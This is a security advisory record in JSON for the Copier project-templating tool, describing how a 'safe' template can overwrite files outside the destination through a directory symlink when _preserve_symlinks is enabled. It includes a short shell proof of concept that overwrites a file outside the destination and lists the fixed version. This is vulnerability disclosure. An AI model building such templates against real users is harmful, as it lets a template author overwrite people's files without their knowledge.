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{
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"schema_version": "1.4.0",
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"id": "GHSA-4fqp-r85r-hxqh",
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"modified": "2026-01-21T22:19:29Z",
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"published": "2026-01-21T22:19:29Z",
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"aliases": [
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"CVE-2026-23986"
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],
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"summary": "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ",
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"details": "### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
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"severity": [
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{
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"type": "CVSS_V4",
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"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "copier"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "9.11.2"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"
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},
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{
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"type": "WEB",
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"url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/copier-org/copier"
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},
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{
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"type": "WEB",
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"url": "https://github.com/copier-org/copier/releases/tag/v9.11.2"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-61"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-01-21T22:19:29Z",
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"nvd_published_at": null
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}
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}

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